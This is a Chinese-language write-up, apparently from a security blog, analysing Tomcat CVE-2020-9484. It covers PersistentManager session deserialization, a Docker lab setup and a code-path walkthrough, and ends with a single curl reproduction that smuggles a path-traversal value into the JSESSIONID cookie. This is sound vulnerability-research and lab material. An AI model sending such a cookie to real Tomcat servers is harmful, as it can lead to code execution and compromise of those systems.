[CVE-2020-9484] Tomcat session单机持久化反序列化

漏洞原理

当采用PersistentManager管理器处理session会存储在本地。对传入的SESSION值会在本地文件中加载,且路径可穿越。对读取到的session会进行反序列化且类加载器能够加载当前WEB-INF/lib中的危险类。

环境搭建

使用师傅现成的环境:https://github.com/masahiro331/CVE-2020-9484.git


$ git clone https://github.com/masahiro331/CVE-2020-9484.git
$ cd CVE-2020-9484

修改Dockerfile文件添加idea debug环境变量

image-20200527202428251

编译环境,映射web端口和debug端口

$ docker build -t tomcat:groovy .
$ docker run -d -p 8083:8080  -p 5899:5899 tomcat:groovy

漏洞分析

Tomcat本身提供了许多Session管理器。当配置context.xml文件,session管理器类型为:PersistentManager类.如果session空闲时间过长,将空闲session转换为存储。

image-20200527202727398

获取session时候,会调用findSession先从内存中寻找session.

image-20200527203707811

当内存中寻找不到session,会到store获取。调用load方法,加载本地文件.

image-20200527203803113

最后调用readObjectData反序列化

image-20200527205551366

漏洞复现

curl 'http://localhost:8083/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'

image-20200527205847544

参考链接

https://exploitcat.blog.csdn.net/article/details/88637270

https://mp.weixin.qq.com/s/z5Lo93UXPCG0kNPcephI4Q

https://www.secpulse.com/archives/131630.html

https://c0okb.github.io/2020/05/25/CVE-2020-9484-Tomcat-cluster-sync-session-%E5%A4%8D%E7%8E%B0/#%E5%A4%8D%E7%8E%B0-1